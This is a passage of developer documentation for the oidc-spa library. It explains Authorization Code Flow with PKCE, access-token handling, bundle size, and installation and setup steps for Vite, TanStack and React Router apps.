    # -------------------------
    location ~* \.(json|txt)$ {
        try_files $uri =404;
        expires -1;
    }

    # -------------------------
    # Any other file with an extension (cache 1 day)
    # -------------------------
    location ~ ^.+\..+$ {
        try_files $uri =404;
        expires 1d;
        access_log off;
        add_header Cache-Control "public" always;
    }
}
</code></pre>


# Why No Client Secret?

Why Doesn't oidc-spa Require a Client Secret?

You might be wondering why `oidc-spa` doesn’t require a client secret and how it securely authenticates users without a backend handling the token exchange with the OIDC provider.

The key lies in the difference between **Authorization Code Flow**, which requires a client secret, and **Authorization Code Flow with PKCE**, which does not.

***

## Understanding the Two Variants of the Authorization Code Flow

**OIDC defines two common variants of the Authorization Code Flow:**

* **Authorization Code Flow:**\
  Requires a backend to perform the token exchange, since a *client secret* is needed to securely obtain tokens.\
  In this model, the **server** acts as the OIDC client application.\
  Frameworks like **NextAuth** follow this approach.\
  The resulting access token is mostly incidental, it's used only if we need to call third party APIs.
* **Authorization Code Flow with PKCE:**\
  Adds an additional verification step that removes the need for a client secret, enabling secure token exchange directly from the **browser** (public client)**.**\
  This is the flow implemented by **oidc-spa**.\
  Here, the **frontend** itself is the OIDC client application, and the access token is used as a key to make authenticated requests to a backend that otherwise has no built-in knowledge of authentication.

So the **Authorization Code Flow** is intended for **server side OIDC** and **Authorization Code Flow with PKCE** is intended for **Browser side OIDC**.

What's a bit confusing is that some server side OIDC solution will also implement PKCE. They do that only as an extra layer of security in case the client secret get's leaked.

### 1. Authorization Code Flow (without PKCE)

This flow is typically implemented as follows:

1. The frontend initiates authentication but does **not** exchange the authorization code directly.
2. Instead, the backend receives the authorization code and uses a **client secret** to exchange it for tokens.
3. The backend stores the **access and refresh tokens** in a database.
4. The backend issues an **HttpOnly session cookie** to the frontend.
5. The frontend communicates with the backend, which retrieves and attaches access tokens to API requests using the session identifier stored in the cookie.

***

### 2. Authorization Code Flow + PKCE (Used by `oidc-spa`)

The standard Authorization Code Flow alone is insufficient for securely exchanging tokens directly from the browser, as it requires a client secret.\
Since anything embedded in frontend code is not truly secret, a different approach is needed.

This is where **PKCE** (Proof Key for Code Exchange) comes in. Here’s how it works with `oidc-spa`:

1. When the user needs to log in, either by clicking a "Login" button or by navigating to a protected part of the app, `oidc-spa` redirects them to the **OIDC provider's login page** (e.g., Keycloak, Auth0).
2. After successful authentication, the **OIDC provider establishes a session**, sets an `HttpOnly` session cookie in the browser, and redirects the user back to the app with an authorization code.
3. `oidc-spa` exchanges this code for tokens, completing a cryptographic challenge that eliminates the need for a client secret.
4. **Tokens remain in memory only,** `oidc-spa` does not store them in localStorage, sessionStorage, or a backend database.
5. When the user refreshes the page or revisits the app, `oidc-spa` **restores the session** by querying the OIDC provider in the background.
6. The OIDC provider uses the session cookie to determine whether the session is still valid. If it is, fresh tokens are issued **without requiring the user to log in again**.
7. If the session has expired, the user is redirected to the login page when accessing a protected area.

> **Note:** You might be concerned about the use of cookies, but here we are referring to **session cookies**, which do not require GDPR consent and are always enabled in all browsers.\
> A user who disables all cookies would not be able to use any website requiring authentication.\
> Session cookies should not be confused with **tracking cookies** or [**third-party cookies**](/resources/third-party-cookies-and-session-restoration).

***

## How `oidc-spa` Mitigates the Risks of Token Exposure

{% content-ref url="/pages/U7NXkYENwaWcbAO6iQDb" %}
[Overview](/security-features/overview)
{% endcontent-ref %}

Read more:

{% embed url="<https://auth0.com/docs/get-started/authentication-and-authorization-flow/authorization-code-flow-with-pkce>" %}


# End of third-party cookies

See:

{% content-ref url="/pages/PEVVAcvpgrhNHpuD5ykF" %}
[Third‑party cookies and session restoration](/resources/third-party-cookies-and-session-restoration)
{% endcontent-ref %}


# iframe related issues

See:

{% content-ref url="/pages/PEVVAcvpgrhNHpuD5ykF" %}
[Third‑party cookies and session restoration](/resources/third-party-cookies-and-session-restoration)
{% endcontent-ref %}


# JWT Of the Access Token

And why it's not supposed to be read on the client side.

You might be surprised, or even frustrated, that oidc-spa only provides the decoded ID token and not the decoded access token. This is intentional: the access token is meant to be **opaque** to the client application. It should be used only as an authentication key (e.g., a Bearer token when calling an API). According to the OAuth 2.0 specification, [the access token is not even required to be a JWT](https://datatracker.ietf.org/doc/html/rfc6749#section-1.4):

> The string is usually opaque to the client. \[...] The token may denote an identifier used to retrieve the authorization information or may self-contain the authorization information in a verifiable manner (i.e., a token string consisting of some data and a signature).

The good news is that everything you need is usually found in the ID token. If you notice that certain information appears in the access token but not in the ID token, there are two likely reasons:

1. **Identity server policy** – Your identity provider may have an explicit rule stripping or not including those claims in the ID token. For example, [Keycloak does not include](https://github.com/keycloak/keycloak/issues/14617#issuecomment-1268412474) the `realm_access` claim in the ID token by default.
2. **Schema filtering** – [When using `decodedIdTokenSchema` with Zod](https://docs.oidc-spa.dev/integration-guides/usage#basic-usage), any claims not declared in your schema will be discarded. This can make it seem like the ID token contains fewer claims than it actually does. To see the complete payload, initialize the adapter with `debugLogs: true`, disable `decodedIdTokenSchema`, and check your browser console output.

## Manually decoding the access token

If you absolutely need to introspect the access token, such as when migrating from another library and you cannot modify the IDP's configuration, you can decode it manually using:

{% tabs %}
{% tab title="Vanilla API" %}

```typescript
import { decodeJwt } from 'oidc-spa/decode-jwt';

const decodedAccessToken = decodeJwt(await oidc.getAccessToken());
```

{% endtab %}

{% tab title="React" %}
{% code title="src/oidc.ts" %}

```typescript
import { oidcSpa } from "oidc-spa/react-spa";
import { decodeJwt } from "oidc-spa/decode-jwt";

export const {
    bootstrapOidc,
    getOidc,
    // ...
} = oidcSpa
    .withExpectedDecodedIdTokenShape({ /* ... */ })
    .createUtils();

let decodedAccessToken: Record<string, unknown> | undefined;

getOidc().then(async oidc => {
    if (!oidc.isUserLoggedIn) {
        return;
    }

    const accessToken = await oidc.getAccessToken();

    decodedAccessToken = decodeJwt(accessToken);

    // Using Zod to validate the shape is recommended as well:
    // decodedAccessToken = DecodedAccessTokenSchema.parse(decodeJwt(accessToken));
});

export function getDecodedAccessToken(): Record<string, unknown> | undefined {
    if (decodedAccessToken === undefined) {
        throw new Error("Decoded access token accessed too early. Only use in a component inside <OidcInitializationGate />.");
    }

    return decodedAccessToken;
}
```

{% endcode %}
{% endtab %}
{% endtabs %}


# Bundle Size

Understanding oidc-spa’s impact on your bundle size

`oidc-spa` ships as a single package.

It includes browser code, server helpers, and multiple adapters. That can make “bundle size” reports look confusing at first.

This page breaks down:

* what ends up in your **initial download**
* why some tools report a much larger “import cost”

### What your app typically downloads

In the common “happy path” (modern browser, secure context), the initial cost is roughly:

* `oidc-spa/entrypoint`: **≈5.2 KB min+gzip**. Runs early to harden the runtime environment.
* `oidc-spa/core`: **≈27.9 KB min+gzip**. The main OIDC implementation.

Total: **≈33 KB min+gzip**.

Add **≈4 KB** if you use higher-level React / Angular adapters.

{% hint style="info" %}
These numbers are “what the browser downloads”, not “what npm installs”.
{% endhint %}

### Why tools sometimes report ≈151 KB

<figure><img src="/files/SHpo47f5huieSUsjLhki" alt=""><figcaption></figcaption></figure>

Tools like “Import Cost” tend to:

* sum **all potentially reachable code**, even if it is split into separate chunks
* ignore whether a chunk is only loaded as a **runtime fallback**

`oidc-spa` generates optional chunks. The biggest ones are usually related to the `crypto.subtle` fallback.

Those chunks are only downloaded for apps that are deployed over `http://` (where `window.isSecureContext === false`).

### Example bundle visualization

<div data-full-width="true"><figure><img src="/files/GS7AZT5MFtxOamtm40vx" alt=""><figcaption></figcaption></figure></div>

This example shows a vanilla Vite app with only `oidc-spa` installed. Notice how the optional polyfills are in separate chunks.

### Compared to other libraries

Reference points:

* [@azure/msal-browser — 82.4 KB](https://bundlephobia.com/package/@azure/msal-browser@4.27.0)
* [@auth0/auth0-spa-js — 19 KB](https://bundlephobia.com/package/@auth0/auth0-spa-js@2.11.0)
* [keycloak-js — 11.3 KB](https://bundlephobia.com/package/keycloak-js@24.0.5)
* [oidc-client-ts — 17.5 KB](https://bundlephobia.com/package/oidc-client-ts@3.4.1)

Takeaway:

* `oidc-spa` is **not the smallest** option for “basic login”.
* The extra size mostly buys security features; and built-in that would otherwise live in your app codebase:
  * Early runtime hardening (`entrypoint`).
  * Adapter-level integration patterns (routing, render gating, token refresh).
  * Security features like [DPoP](/v9/security-features/dpop) and [runtime integrity checks](/v9/security-features/browser-runtime-freeze).


# Discord Server

Feeling a bit lost? Have a question? A feature request?\
Reach out on Discrord!

{% embed url="<https://discord.gg/mJdYJSdcm4>" %}


# Sponsors

Backers of the project

{% embed url="<https://phasetwo.io/?utm_source=keycloakify>" %}
Keycloak community contributors of popular [extensions](https://github.com/p2-inc#our-extensions-) providing free and dedicated [Keycloak hosting](https://phasetwo.io/hosting/) and enterprise [Keycloak support](https://phasetwo.io/support/) to businesses of all sizes.
{% endembed %}

{% embed url="<https://www.zone2.tech/services/keycloak-consulting>" %}
Keycloak Consulting Services - Your partner in Keycloak deployment, configuration, and extension development .
{% endembed %}

{% embed url="<https://cloud-iam.com/?mtm_campaign=keycloakify-deal&mtm_source=oidc-spa-docs>" %}
Keycloak as a Service. Use code 'keycloakify5' at checkout for a 5% discount.
{% endembed %}


# What This Is

{% hint style="info" %}
Stuck? Reach out on [Discord](https://discord.gg/mJdYJSdcm4). We’ll help you debug it.
{% endhint %}

oidc-spa is an OpenID Connect client for browser-first web apps. It implements the [Authorization Code Flow with PKCE](/v9/resources/why-no-client-secret) and supports [DPoP](/v9/security-features/dpop). It also ships [token validation utilities for JavaScript backends](/v9/integration-guides/backend-token-validation).

It includes [security defenses](/v9/security-features/overview) to reduce token exposure risks in the browser.

It’s one [dependency free](https://npmgraph.js.org/?q=oidc-spa) library for the full stack. It can replace frontend SDKs like `keycloak-js`, `MSAL.js`, or `@auth0/auth0-spa-js`. It can also replace backend token tooling like `jsonwebtoken`, `jose`, or `express-jwt`.

**Why we built it**

Most OIDC client libraries handle the basic sign-in flow well. But they leave you to implement:

* Token renewal, and what happens on expiry.
* Idle timeout UX. Auto-logout and re-auth prompts.
* Login/logout sync across tabs.
* Reliable session restore on reload, including third‑party cookie blocks.
* Provider quirks. Keycloak, Entra ID, and Auth0 differ in practice.

We also wanted a TanStack-style developer experience:

* Types flowing from config into the runtime API.
* APIs that are hard to misuse.
* Mockable OIDC for tests and “no-auth” / degraded environments.

So we built `oidc-spa`. It’s opinionated and high-level. It has few knobs by design.

It gives you enterprise-grade auth out of the box. So you can focus on your app.

## Dive In

Ready to integrate? Start here.

{% content-ref url="/pages/R7XmICYloT6lht1r5tZK" %}
[Getting Started](/v9/integration-guides/example-setups)
{% endcontent-ref %}

## Positioning

Here’s where oidc-spa sits compared to server-side OIDC:

<table><thead><tr><th width="172.53125"></th><th>Browser-Side OIDC</th><th>Server-Side OIDC</th></tr></thead><tbody><tr><td><strong>Implementation</strong></td><td><strong><code>oidc-spa</code></strong>, <code>keycloak-js</code>, <code>angular-oauth2-oidc</code>, <code>react-oidc-context</code>, <code>@auth0/auth0-spa-js</code>, <code>@azure/msal-browser</code>, <code>@axa-fr/oidc-client</code>, <code>oidc-client-ts</code> (without client secret)</td><td><a href="https://nuxtoidc.cloud/"><code>nuxt-oidc-auth</code></a>, <code>oidc-client-ts</code> (with client secret), <code>NextAuth</code>/<code>Auth.js</code>/<code>BetterAuth</code> (often “roll your own auth” frameworks that can broker OIDC providers)</td></tr><tr><td><strong>OIDC Model</strong></td><td>The frontend is the OIDC client. Your backend API is an OAuth resource server. The frontend calls the API with an access token. The API can validate the token signature and resolve identity offline.</td><td>The backend is the OIDC client. User identity is tracked with session cookies. In this model, there is usually no OAuth resource server. Access tokens are mainly used for calling third-party APIs.</td></tr><tr><td><strong>Infrastructure Requirement</strong></td><td><mark style="color:$success;">None. The browser talks directly to the authorization server.</mark></td><td><mark style="color:$warning;">Requires a stateful backend and a shared session store (e.g. Redis).</mark></td></tr><tr><td><strong>Setup</strong></td><td><mark style="color:$success;">Simple. Auth is decoupled from your app framework, router, and API.</mark></td><td><mark style="color:$warning;">Tightly coupled to a framework. You typically build login/logout routes and middleware.</mark></td></tr><tr><td><strong>Security</strong></td><td><mark style="color:$warning;">Historically weaker because tokens exist in the browser.</mark><br><mark style="color:$success;">With DPoP and modern defenses, the security gap can shrink significantly.</mark> <a href="/pages/U7NXkYENwaWcbAO6iQDb"><mark style="color:$success;">See details</mark></a><mark style="color:$success;">.</mark></td><td><mark style="color:$success;">Secure by design. Tokens are not exposed to frontend code.</mark></td></tr><tr><td><strong>Server-side rendering</strong></td><td><mark style="color:$warning;">Limited. The server renders without user context. Auth-aware UI renders on the client.</mark></td><td><mark style="color:$success;">Seamless. The server knows who the user is during render.</mark></td></tr></tbody></table>

## Is it a good fit for my stack?

It depends. oidc-spa is strong for client-side OIDC. But client-side OIDC isn’t the right model for every app.

### When NOT to use oidc-spa

Avoid oidc-spa if you rely on SSR for auth-aware pages. This includes Next.js, Nuxt, SvelteKit, Remix/React Router Framework (non‑SPA mode), or Astro.

Those stacks push state and logic to the server. They also aim to ship minimal client JavaScript.

oidc-spa drives auth from the browser. That’s a mismatch for SSR-first architectures.

### When you should use it

Use it for client-first apps. It works best when state and logic live in the browser.

Typically:

* Vite + React (or another UI framework) - SPAs
* TanStack Start (SSR works, but auth-aware UI renders client-side)
* Angular applications
* Nuxt with `ssr: false`
* React Router Framework with `ssr: false`

If you’re choosing between this and a BFF for security, start with the [security features](/v9/security-features/overview). With those defenses enabled, the security profile can be comparable to server-side OIDC.


# Getting Started

Let's get your app authenticated!

<table data-view="cards"><thead><tr><th data-type="content-ref"></th><th data-hidden data-card-cover data-type="image">Cover image</th></tr></thead><tbody><tr><td><a href="/pages/4DwF1XPwmeeluLK1EN7m">/pages/4DwF1XPwmeeluLK1EN7m</a></td><td data-object-fit="fill"><a href="https://upload.wikimedia.org/wikipedia/commons/f/f1/Vitejs-logo.svg">https://upload.wikimedia.org/wikipedia/commons/f/f1/Vitejs-logo.svg</a></td></tr><tr><td><a href="/pages/91pQIM8gQci1OGg7Ool5">/pages/91pQIM8gQci1OGg7Ool5</a></td><td data-object-fit="contain"><a href="https://tanstack.com/images/logos/logo-color-600.png">https://tanstack.com/images/logos/logo-color-600.png</a></td></tr><tr><td><a href="/pages/Gemwcbm0G6uqPI4c1liz">/pages/Gemwcbm0G6uqPI4c1liz</a></td><td data-object-fit="contain"><a href="https://reactrouter.com/splash/hero-3d-logo.dark.webp">https://reactrouter.com/splash/hero-3d-logo.dark.webp</a></td></tr><tr><td><a href="/pages/QgaTjU1tbbDm1MI8Edkm">/pages/QgaTjU1tbbDm1MI8Edkm</a></td><td><a href="/files/ScDd2YZ8WqeJ3ee4j6Qt">/files/ScDd2YZ8WqeJ3ee4j6Qt</a></td></tr><tr><td><a href="/pages/yolKsccF0yDQcZTXQnPo">/pages/yolKsccF0yDQcZTXQnPo</a></td><td><a href="/files/p8hdSWdzxbJa83lO4K8a">/files/p8hdSWdzxbJa83lO4K8a</a></td></tr></tbody></table>


# Framework Agnostic Adapter

These are the instructions for setting up the framework-agnostic adapter for oidc-spa in a Single Page Application (SPA). These apps run entirely in the browser.

If your project uses Server-Side Rendering (SSR), this setup may not work. Don’t hesitate to [reach out on Discord](https://discord.gg/mJdYJSdcm4). We’re happy to help with your specific stack.

## Installation

{% stepper %}
{% step %}

### Installing the dependencies

{% tabs %}
{% tab title="npm" %}

```bash
npm install oidc-spa zod
```

{% endtab %}

{% tab title="yarn" %}

```bash
yarn add oidc-spa zod
```

{% endtab %}

{% tab title="pnpm" %}

```bash
pnpm add oidc-spa zod
```

{% endtab %}

{% tab title="bun" %}

```bash
bun add oidc-spa zod
```

{% endtab %}
{% endtabs %}

> **Note:**\
> [Zod](https://zod.dev/) is optional but highly recommended.\
> Writing validators manually is error-prone, and skipping validation means losing early guarantees about what your auth server provides.
> {% endstep %}

{% step %}

### Global Setup

Pick one of these three options:

{% tabs %}
{% tab title="Vite Plugin" %}
If you're in a Vite project, the recomended approach is to use oidc-spa's Vite plugin.

<pre class="language-typescript" data-title="vite.config.ts"><code class="lang-typescript">import { defineConfig } from "vite";
<strong>import { oidcSpa } from "oidc-spa/vite-plugin";
</strong>
export default defineConfig({
    plugins: [
        // ...
<strong>        oidcSpa()
</strong>    ]
});
</code></pre>

{% endtab %}

{% tab title="Manual - Recommended" %}
Pick this approach if:

* You're not in a Vite project and
* Your app has a single client entrypoint.

***

Let's assume your app entrypoint is `src/main.ts`.

First, rename it to `src/main.lazy.ts`.

```bash
mv src/main.ts src/main.lazy.ts
```

Then create a new `src/main.ts` file:

{% code title="src/main.ts" %}

```typescript
import { oidcEarlyInit } from "oidc-spa/entrypoint";

const { shouldLoadApp } = oidcEarlyInit({
    BASE_URL: "/" // The path where your app is hosted. You can also pass it later to createOidc().
});

if (shouldLoadApp) {
    // Note: Deferring the main app import adds a few milliseconds to cold start,
    // but dramatically speeds up auth. Overall, it's a net win.
    import("./main.lazy");
}
```

{% endcode %}
{% endtab %}

{% tab title="Manual - Easy" %}
If you’re not using Vite and you can’t edit your app’s entry file, run `oidcEarlyInit()` in the same module where you call `createOidc()`.

Note however that implementing this option [dowgrade the security posture of your app](/v9/security-features/overview#how-oidc-spa-achieves-this-in-a-nutshell) compared to the two other approaches and, in some instances, might conflict with your client side routing library.

<pre class="language-typescript" data-title="src/oidc.ts"><code class="lang-typescript">import { 
<strong>   oidcEarlyInit, 
</strong>   createOidc 
} from "oidc-spa/core";

// Should run as early as possible.  
<strong>oidcEarlyInit({ 
</strong><strong>   BASE_URL: "/" // The path where your app is hosted
</strong><strong>});
</strong>
const prOidc = createOidc({ /* ... See below ... */ });

export async function getOidc(){
   const oidc = await prOidc;
   return oidc;
}
</code></pre>

{% endtab %}
{% endtabs %}

You might also want to enable some of the opt-in security features:

{% content-ref url="/pages/9CHQX9V9dazRrd5n6par" %}
[Security Features](/v9/security-features/overview)
{% endcontent-ref %}
{% endstep %}

{% step %}

### Initialize the adapter

This is just a suggestion. Feel free to adapt how you set things up.

{% code title="src/oidc.ts" %}

```typescript
import { createOidc } from "oidc-spa/core";
import { z } from "zod";

const prOidc = createOidc({
    // See: https://docs.oidc-spa.dev/v/v9/providers-configuration/provider-configuration
    issuerUri: "https://auth.your-domain.net/realms/myrealm",
    clientId: "myclient",

    // Optional. Expected shape of the ID token payload.
    // This is declarative. You describe what you will use and what
    // info you expect to be present in the ID token.
    // If you don't know what's in your ID token, open the console.
    // If you have debugLogs set to true, you'll see it.
    decodedIdTokenSchema: z.object({
       preferred_username: z.string(),
       name: z.string(),
       email: z.string().optional(),
       picture: z.string().optional(),
       realm_access: z.object({ roles: z.array(z.string()) }).optional()
    }),

    //scopes: ["profile", "email", "api://my-app/access_as_user"],

    // OPTIONAL, Parameters added when redirecting to the authorization endpoint.
    extraQueryParams: {
        //audience: "https://my-app.my-company.com/api",
        get ui_locales() { return "en"; } // Keycloak login/register pages language
    },

    debugLogs: true,
    
    // See: https://docs.oidc-spa.dev/v/v8/features/auto-login
    // autoLogin: true

    // See: https://docs.oidc-spa.dev/v/v8/features/dpop
    // dpop: "auto"
});

export async function getOidc(){
    const oidc = await prOidc;
    return oidc;
}
```

{% endcode %}
{% endstep %}
{% endstepper %}

## Usage

Here is a quick usage overview.

```typescript
import { getOidc } from "~/oidc"; // The file you created in the previous step

(async () => {
    const oidc = await getOidc();

    // oidc-spa exports Keycloak-specific utilities:
    const { createKeycloakUtils, isKeycloak } = await import("oidc-spa/keycloak");

    const keycloakUtils = isKeycloak({ issuerUri: oidc.issuerUri })
        ? createKeycloakUtils({ issuerUri: oidc.issuerUri })
        : undefined;

    // In oidc-spa the user is either logged in or they aren't.
    // The state will never mutate without a full app reload.
    if (oidc.isUserLoggedIn) {
        // The user is logged in.

        const {
            // The accessToken is what you'll use as a Bearer token to
            // authenticate to your APIs
            accessToken
        } = await oidc.getTokens();

        // oidc-spa also provides utilities to build API clients like this.
        fetch("https://api.your-domain.net/orders", {
            headers: {
                Authorization: `Bearer ${accessToken}`
            }
        })
            .then(response => response.json())
            .then(orders => console.log(orders));

        // Call when the user clicks logout.
        // You can also redirect to a custom URL with:
        // { redirectTo: "specific URL", url: "/bye" }
        oidc.logout({ redirectTo: "home" });

        const decodedIdToken = oidc.getDecodedIdToken();

        console.log(`Hello ${decodedIdToken.preferred_username}`);

        if (keycloakUtils) {
            // Get a link to the account page:
            const userAccountUrl = keycloakUtils.getAccountUrl({
                clientId: oidc.clientId,
                validRedirectUri: oidc.validRedirectUri,
                locale: "en" // Optional
            });
        }
    } else {
        // The user is not logged in.

        // We can call login() to redirect the user to the login/register page.
        // This returns a promise that never resolves.
        oidc.login({
            /**
             * If you are calling login() in the callback of a click event
             * set this to false.
             * If you are calling this because the user has navigated to
             * a route that requires them to be logged in, set this to true.
             */
            doesCurrentHrefRequiresAuth: false,
            /**
             * Optionally, you can add extra parameters
             * to be added to the authorization endpoint.
             */
            //extraQueryParams: { kc_idp_hint: "google", ui_locales: "fr" }
            /**
             * You can also set where to redirect the user after
             * successful login but by default it's the current URL
             * which is usually what you want.
             */
            // redirectUrl: "/dashboard"
        });

        // Register button callback (Keycloak only)
        if (keycloakUtils) {
            oidc.login({
                doesCurrentHrefRequiresAuth: false,
                transformUrlBeforeRedirect: keycloakUtils.transformUrlBeforeRedirectForRegister
            });
        }
    }
})();
```

## Mock adapter

For certain use cases, you may want a mock adapter to simulate user authentication without involving an actual authentication server.

This approach is useful when building an app where user authentication is a feature but not a requirement. It also proves beneficial for running tests or in Storybook environments.

<pre class="language-typescript"><code class="lang-typescript">import { createOidc } from "oidc-spa/core";
<strong>import { createMockOidc } from "oidc-spa/core-mock";
</strong>import { z } from "zod";

const decodedIdTokenSchema = z.object({
    sub: z.string(),
    preferred_username: z.string()
});

const autoLogin = false;

const prOidc = !import.meta.env.VITE_OIDC_ISSUER
<strong>    ? createMockOidc({
</strong><strong>          // NOTE: If autoLogin is set to true this option must be removed
</strong><strong>          isUserInitiallyLoggedIn: false,
</strong><strong>          mockedTokens: {
</strong><strong>              decodedIdToken: {
</strong><strong>                  sub: "123",
</strong><strong>                  preferred_username: "john doe"
</strong><strong>              } satisfies z.infer&#x3C;typeof decodedIdTokenSchema>
</strong><strong>          },
</strong><strong>          autoLogin
</strong><strong>      })
</strong>    : createOidc({
          issuerUri: import.meta.env.VITE_OIDC_ISSUER,
          clientId: import.meta.env.VITE_OIDC_CLIENT_ID,
          decodedIdTokenSchema,
          autoLogin
      });
</code></pre>

## Creating an API server

Now that authentication is handled, there’s one last piece of the puzzle: your resource server, the backend your app will communicate with.

This can be any type of service: a REST API, tRPC server, or WebSocket endpoint, as long as it can validate access tokens issued by your IdP.

If you’re building it in JavaScript or TypeScript (for example, using Express), oidc-spa provides ready-to-use utilities to decode and validate access tokens on the server side.

You’ll find the full documentation here:

{% content-ref url="/pages/yolKsccF0yDQcZTXQnPo" %}
[Backend Token Validation](/v9/integration-guides/backend-token-validation)
{% endcontent-ref %}


# TanStack Router/Start

TanStack Start is TanStack Router plus server capabilities. It’s a full-stack framework. Your frontend and backend live in the same project. It’s comparable to Next.js.

{% content-ref url="/pages/d1qbPv2oiUEBc6J3j5sN" %}
[TanStack Start](/v9/integration-guides/tanstack-router-start/tanstack-start)
{% endcontent-ref %}

***

TanStack Router is the client-side routing library. It does not include server features. Used in single-page applications (SPAs). Your backend API stays in a separate project.

{% content-ref url="/pages/QUB3CQl6dhCDJw69LePi" %}
[TanStack Router](/v9/integration-guides/tanstack-router-start/react-router)
{% endcontent-ref %}


# TanStack Start

## The Example/Tutorial

{% embed url="<https://example-tanstack-start.oidc-spa.dev/>" %}

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/tanstack-start start-oidc
cd start-oidc
npm install
npm run dev

# By default, the example runs against Keycloak.
# You can edit the .env file to test other providers.
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/tanstack-start>" %}

***

## Instalations

{% tabs %}
{% tab title="npm" %}

```bash
npm install oidc-spa zod
```

{% endtab %}

{% tab title="yarn" %}

```bash
yarn add oidc-spa zod
```

{% endtab %}

{% tab title="pnpm" %}

```bash
pnpm add oidc-spa zod
```

{% endtab %}

{% tab title="bun" %}

```bash
bun add oidc-spa zod
```

{% endtab %}
{% endtabs %}

> **Note:**\
> [Zod](https://zod.dev/) is optional but highly recommended.\
> Writing validators manually is error-prone, and skipping validation means losing early guarantees about what your auth server provides.

***

Add the plugin to your `vite.config.ts`:

<pre class="language-typescript"><code class="lang-typescript">import { defineConfig } from "vite";
import { tanstackStart } from "@tanstack/react-start/plugin/vite";
import viteReact from "@vitejs/plugin-react";
import viteTsConfigPaths from "vite-tsconfig-paths";
import tailwindcss from "@tailwindcss/vite";
<strong>import { oidcSpa } from "oidc-spa/vite-plugin";
</strong>
export default defineConfig({
  plugins: [
    viteTsConfigPaths({ projects: ["./tsconfig.json"] }),
    tailwindcss(),
    tanstackStart(),
<strong>    oidcSpa(),
</strong>    viteReact(),
  ],
});
</code></pre>

***

## Usage

You should be able to learn everything there is to know by checkout out [the example](/v9/integration-guides/tanstack-router-start/tanstack-start)!  \
You're journey will start by looking at `src/oidc.ts`.


# TanStack Router

## Instaling

{% tabs %}
{% tab title="npm" %}

```bash
npm install oidc-spa zod
```

{% endtab %}

{% tab title="yarn" %}

```bash
yarn add oidc-spa zod
```

{% endtab %}

{% tab title="pnpm" %}

```bash
pnpm add oidc-spa zod
```

{% endtab %}

{% tab title="bun" %}

```bash
bun add oidc-spa zod
```

{% endtab %}
{% endtabs %}

> **Note:**\
> [Zod](https://zod.dev/) is optional but highly recommended.\
> Writing validators manually is error-prone, and skipping validation means losing early guarantees about what your auth server provides. You can use another validator though, it doesn't have to be Zod.

{% tabs %}
{% tab title="Vite Plugin" %}
If you're in a Vite project, the recomended approach is to use oidc-spa's Vite plugin.

<pre class="language-typescript" data-title="vite.config.ts"><code class="lang-typescript">import { defineConfig } from "vite";
<strong>import { oidcSpa } from "oidc-spa/vite-plugin";
</strong>
export default defineConfig({
    plugins: [
        // ...
<strong>        oidcSpa()
</strong>    ]
});
</code></pre>

{% endtab %}

{% tab title="Manual - Recommended" %}
Pick this approach if:

* You're not in a Vite project and
* Your app has a single client entrypoint.

***

Let's assume your app entrypoint is `src/main.ts`.

First, rename it to `src/main.lazy.ts`.

```bash
mv src/main.ts src/main.lazy.ts
```

Then create a new `src/main.ts` file:

{% code title="src/main.ts" %}

```typescript
import { oidcEarlyInit } from "oidc-spa/entrypoint";

const { shouldLoadApp } = oidcEarlyInit({
    BASE_URL: "/" // The path where your app is hosted. You can also pass it later to createOidc().
});

if (shouldLoadApp) {
    // Note: Deferring the main app import adds a few milliseconds to cold start,
    // but dramatically speeds up auth. Overall, it's a net win.
    import("./main.lazy");
}
```

{% endcode %}
{% endtab %}

{% tab title="Manual - Easy" %}
If you’re not using Vite and you can’t edit your app’s entry file, run `oidcEarlyInit()` in the `src/oidc.ts`.

Note however that implementing this option [dowgrades the security posture of your app](/v9/security-features/overview#how-oidc-spa-achieves-this-in-a-nutshell) compared to the two other approaches, and, in some instances, might conflict with your client side routing library.

<pre class="language-typescript" data-title="src/oidc.ts"><code class="lang-typescript"><strong>import { oidcEarlyInit, } from "oidc-spa/entrypoint";
</strong>import { oidcSpa } from "oidc-spa/react-spa";

// Should run as early as possible.  
<strong>oidcEarlyInit({ 
</strong><strong>   BASE_URL: "/" // The path where your app is hosted
</strong><strong>});
</strong>
export const { /* ... */ } = oidcSpa./*...*/
</code></pre>

{% endtab %}
{% endtabs %}

## Learning from the example

You're going to be cloning this example:

{% embed url="<https://example-tanstack-router.oidc-spa.dev/>" %}

TanStack Router has [two modes](https://tanstack.com/router/latest/docs/framework/react/quick-start#new-project-setup) pick the one for you:&#x20;

{% tabs %}
{% tab title="File-Based Route Generation" %}

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/tanstack-router-file-router tr-oidc
cd tr-oidc
# You can use our preconfigured Keycloak, Auth0, or Google OAuth test accounts
cp .env.local.sample .env.local
npm install
npm run dev

# Start exploring with: src/oidc.ts
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/tanstack-router-file-router>" %}
{% endtab %}

{% tab title="Code-Based Route Configuration" %}

> Comming Soon
> {% endtab %}
> {% endtabs %}

## Creating an API server

Now that authentication is handled, there’s one last piece of the puzzle: your resource server, the backend your app will communicate with.

This can be any type of service: a REST API, tRPC server, or WebSocket endpoint, as long as it can validate access tokens issued by your IdP.

If you’re building it in JavaScript or TypeScript (for example, using Express), oidc-spa provides ready-to-use utilities to decode and validate access tokens on the server side.

You’ll find the full documentation here:

{% content-ref url="/pages/yolKsccF0yDQcZTXQnPo" %}
[Backend Token Validation](/v9/integration-guides/backend-token-validation)
{% endcontent-ref %}


# React Router

## Instaling

{% tabs %}
{% tab title="npm" %}

```bash
npm install oidc-spa zod
```

{% endtab %}

{% tab title="yarn" %}

```bash
yarn add oidc-spa zod
```

{% endtab %}

{% tab title="pnpm" %}

```bash
pnpm add oidc-spa zod
```

{% endtab %}

{% tab title="bun" %}

```bash
bun add oidc-spa zod
```

{% endtab %}
{% endtabs %}

> **Note:**\
> [Zod](https://zod.dev/) is optional but highly recommended.\
> Writing validators manually is error-prone, and skipping validation means losing early guarantees about what your auth server provides. You can use another validator though, it doesn't have to be Zod.

{% tabs %}
{% tab title="Vite Plugin" %}
If you’re not using Vite and you can’t edit your app’s entry file, run `oidcEarlyInit()` in the `src/oidc.ts`.

<pre class="language-typescript" data-title="vite.config.ts"><code class="lang-typescript">import { defineConfig } from "vite";
<strong>import { oidcSpa } from "oidc-spa/vite-plugin";
</strong>
export default defineConfig({
    plugins: [
        // ...
<strong>        oidcSpa()
</strong>    ]
});
</code></pre>

{% endtab %}

{% tab title="Manual - Recommended" %}
Pick this approach if:

* You're not in a Vite project and
* Your app has a single client entrypoint.

***

